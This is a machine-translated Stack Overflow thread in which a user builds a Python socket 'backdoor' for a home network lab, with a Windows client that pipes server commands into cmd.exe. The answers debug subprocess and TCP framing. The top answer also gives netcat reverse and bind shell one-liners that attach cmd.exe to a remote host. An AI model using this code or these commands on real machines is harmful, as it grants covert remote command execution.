0

我有两个与套接字通信的 python 文件。当我将数据传递给 stdin.write 时,出现错误 22 无效参数。编码

a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder

更新 OK 基本上我想在网络实验室内的 localhost 中在系统上创建类似后门的东西。这是出于教育目的。我有两台机器。1)正在运行ubuntu,我在服务器上有这段代码:

import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1)                 #wait for client connection.

c, addr = s.accept()     # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')

while True:
    command_from_user = raw_input("Give your command: ")  #read command from the user
    if command_from_user == 'quit': break
    c.send(command_from_user)  #sending the command to client
c.close()                # Close the connection

为客户提供以下代码:

import socket 
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Socket created'

host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024) 

a="C:\python27\Tools"

proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder

    stdoutput=proc.stdout.read() + proc.stderr.read()

s.close #closing the socket

并且错误在客户端文件中

Traceback(最近一次调用最后一次):文件“ex1client2.py”,第 50 行,在 proc.stdin.write('%s\n' % data) ValueError: I/O operation on closed file

基本上我想从服务器运行串行命令到客户端并将输出返回到服务器。执行第一个命令,第二个命令我收到此错误消息。导致我找到这个解决方案的主要问题是 chanhing directory 命令。当我执行 cd "path" 时它不会改变。

4

2 回答 2

4

您的新代码有一个不同的问题,这就是它引发类似但不同的错误的原因。让我们看一下关键部分:

while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder
    stdoutput=proc.stdout.read() + proc.stderr.read()

问题是每次通过此列表时,您都在调用proc.communicate(). 正如文档解释的那样,这将:

将数据发送到标准输入。从 stdout 和 stderr 读取数据,直到到达文件结尾。等待进程终止。

所以,在这个调用之后,子进程已经退出,管道全部关闭。但是下一次通过循环时,您仍然尝试写入其输入管道。由于该管道已关闭,您会得到ValueError: I/O operation on closed file,这正是它所说的。

如果要在单独的cmd.exeshell 实例中运行每个命令,则必须将proc = subprocess.Popen('cmd.exe', …)位移动到循环中。

另一方面,如果你想将命令一个一个地发送到同一个 shell,你不能调用communicate; 你必须写stdin,读stdoutstderr直到你知道他们已经完成,并在下一次循环中保持一切打开。

第一个的缺点很明显:如果您cd \Users\me\Documents在第一个命令中执行 a,然后dir在第二个命令中执行,并且它们在完全不同的 shell 中运行,您最终将获得目录列表C:\python27\Tools而不是C:\Users\me\Documents.

但是第二个的缺点也很明显:您需要编写代码,以某种方式知道每个命令何时完成(可能是因为您再次收到提示?),或者可以同时阻止proc.stdout, proc.stderr, 和s所有. (并且不会意外地使管道死锁。)而且您甚至不能将它们全部扔进 a select,因为管道不是套接字。因此,唯一真正的选择是为stdout和另一个创建一个读取线程stderr,或者从 PyPI 中获取一个异步子进程库,或者使用twisted另一个有自己的异步子进程管道方式的框架。

如果您查看 的源代码communicate,您可以看到线程应该如何工作。


同时,作为旁注,您的代码还有另一个非常严重的问题。您期望每个s.recv(1024)人都会返回一个命令。这不是 TCP 套接字的工作方式。您将在一个中获得前 2-1/2 个命令recv,然后在下一个中获得 1/4 个命令,依此类推。

在本地主机上,甚至是家庭局域网上,当你只是发送一些小消息时,它会在 99% 的时间内工作,但你仍然必须处理那 1% 的时间,否则你的代码有时会神秘地中断。而在互联网上,甚至是许多真实的局域网上,它只能在 10% 的时间内工作。

因此,您必须实现某种以某种方式分隔消息的协议。

幸运的是,对于简单的情况,Python 为您提供了一个非常简单的解决方案:makefile. 当命令由换行符分隔时,您可以同步阻塞,直到获得完整的命令,这是微不足道的。而不是这个:

while True:
    data = s.recv(1024)

......只需这样做:

f = s.makefile()
while True:
    data = f.readline()

您只需要记住close两者fs之后(或s之后makefile,和f之后)。更惯用的用法是:

with s.makefile() as f:
    s.close()
    for data in f:

最后一件事:

好的,基本上我想在系统上创建类似后门的东西,在网络实验室内的本地主机中

“本地主机”表示您正在运行的同一台机器,因此“网络实验室内的本地主机”没有意义。我假设您在这里只是指“主机”,在这种情况下,整个事情都是有道理的。


如果您不需要使用 Python,则可以使用netcat使用单线器来完成这一切。有几个不同的版本,语法略有不同。我相信 Ubuntu 内置了 GNU netcat;如果没有,它可能可以使用apt-get netcator安装apt-get nc。Windows 没有附带任何东西,但您可以获得几乎任何变体的端口。

“netcat remote shell”的快速谷歌搜索出现了一堆博客文章、论坛消息,甚至是展示如何做到这一点的视频,例如Using Netcat To Spawn A Remote Shell,但你最好在谷歌上搜索 netcat 教程反而。

更常见的设计是让“后门”机器(你的 Windows 机器)监听一个端口,而另一台机器(你的 Ubuntu)连接到它,所以这就是大多数博客文章/等等。会告诉你。这个方向的优点是你的“后院服务器”永远监听——你可以连接、做一些事情、退出、稍后再连接等等,而不必回到 Windows 盒子并开始一个新的连接。

但反过来,在 Windows 机器上使用后院客户端也同样简单。在你的 Ubuntu 机器上,启动一个服务器,它将终端连接到第一个连接:

nc -l -p 1234

然后在您的 Windows 机器上,连接到该服务器,并将其连接到cmd.exe. 假设您已经安装了 GNU 语法变体:

nc -e cmd.exe 192.168.2.7 1234

而已。比用 Python 编写要简单得多。

对于更典型的设计,Windows 上的后门服务器运行如下:

nc -k -l -p 1234 -e cmd.exe

然后你从 Ubuntu 连接:

nc windows.machine.address 1234

或者您甚至可以添加-t到后门服务器,然后连接telnet而不是nc.

于 2013-03-27T21:24:34.560 回答
1

问题是您实际上根本没有打开子进程,因此管道正在关闭,因此您正在尝试写入不存在的内容。(我很确定 POSIX 保证你会在EPIPE这里得到一个,但在 Windows 上,subprocess首先没有使用 POSIX 管道,所以不能保证你会得到什么。但你是肯定会出错。)

发生这种情况的原因是您试图打开一个名为'\n'(如换行符,而不是反斜杠和 n)的程序。我认为这在 Windows 上甚至不合法。而且,即使是这样,我也非常怀疑您'\n.exe'的路径上有一个名为或类似名称的可执行文件。

如果您不使用shell=True. 在这种情况下,它Popen本身会引发一个异常(an ENOENT),它会告诉你类似的信息:

OSError: [Errno 2] No such file or directory: '
'

……这会更容易理解。

一般来说,shell=True除非你真的需要一些 shell 功能,否则你不应该使用它。您需要一个 shell 功能并且还需要手动读写管道是非常罕见的。

如果您不重复使用data来表示两个完全不同的事物(要运行的程序的名称,以及从套接字传递到管道的数据),那么它也不会那么混乱。

于 2013-03-27T01:06:06.520 回答